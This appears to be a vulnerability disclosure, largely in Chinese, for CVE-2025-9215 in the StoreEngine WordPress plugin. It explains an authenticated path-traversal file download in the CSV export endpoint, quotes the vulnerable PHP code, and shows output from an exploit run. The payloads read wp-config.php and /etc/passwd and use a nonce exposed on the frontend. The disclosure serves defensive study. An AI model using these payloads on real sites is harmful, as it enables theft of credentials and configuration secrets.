StoreEngine 插件在其 CSV 导入/导出功能中包含一个漏洞,该漏洞允许任何已认证用户(订阅者、作者、编辑等)从服务器下载任意文件,包括敏感的系统文件、WordPress 配置文件以及插件源代码。该漏洞源于 storeengine_csv/file_download 端点缺乏适当的路径清理,仅依赖 nonce 验证来保证安全,而 storeengine_nonce 通过插件的 JavaScript 暴露给所有前端用户。**注意:此漏洞要求管理员启用 CSV 导入/导出插件。**一旦启用,这种组合允许任何已认证用户从前端页面提取 nonce,并利用路径遍历攻击下载服务器上的任意文件,实际上使订阅者+用户能够访问敏感的系统文件和应用程序文件。
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).
Downloading wp-config.php via path traversal...
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
**注意:此漏洞要求管理员启用 CSV 导入/导出插件。**插件启用端点(storeengine/saved_addon_status)需要 manage_options 权限,意味着只有管理员才能启用此功能。
storeengine_csv/file_download AJAX 操作调用了 /wp-content/plugins/storeengine/addons/csv/ajax/export.php 中第 47 行的 file_download() 函数,该函数缺乏适当的路径清理并允许任意文件下载:
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- VULNERABLE TO PATH TRAVERSAL!
// NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
// NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- READS AND OUTPUTS ANY FILE!
exit;
}
易受攻击的路径构造允许完整的路径遍历:
// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
storeengine_nonce 通过插件的 JavaScript 暴露给所有前端用户。这发生在 /wp-content/plugins/storeengine/includes/assets.php 中第 279 行的 _get_script_data() 方法中:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
该 nonce 随后通过第 120 行的 frontend_scripts() 方法本地化到前端 JavaScript 中:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
Nonce 在 /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php 中第 510 行的 AbstractRequestHandler::check_permission() 方法中验证:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
这种组合允许任何已认证用户绕过 CSRF 保护并下载服务器上的任意文件,包括敏感的配置文件、源代码以及潜在的系统文件。
/wp-admin/admin-ajax.php 的请求,该请求调用 storeengine_csv/file_download 操作。filename=../../../../wp-config.php 的请求以下载 WordPress 配置文件。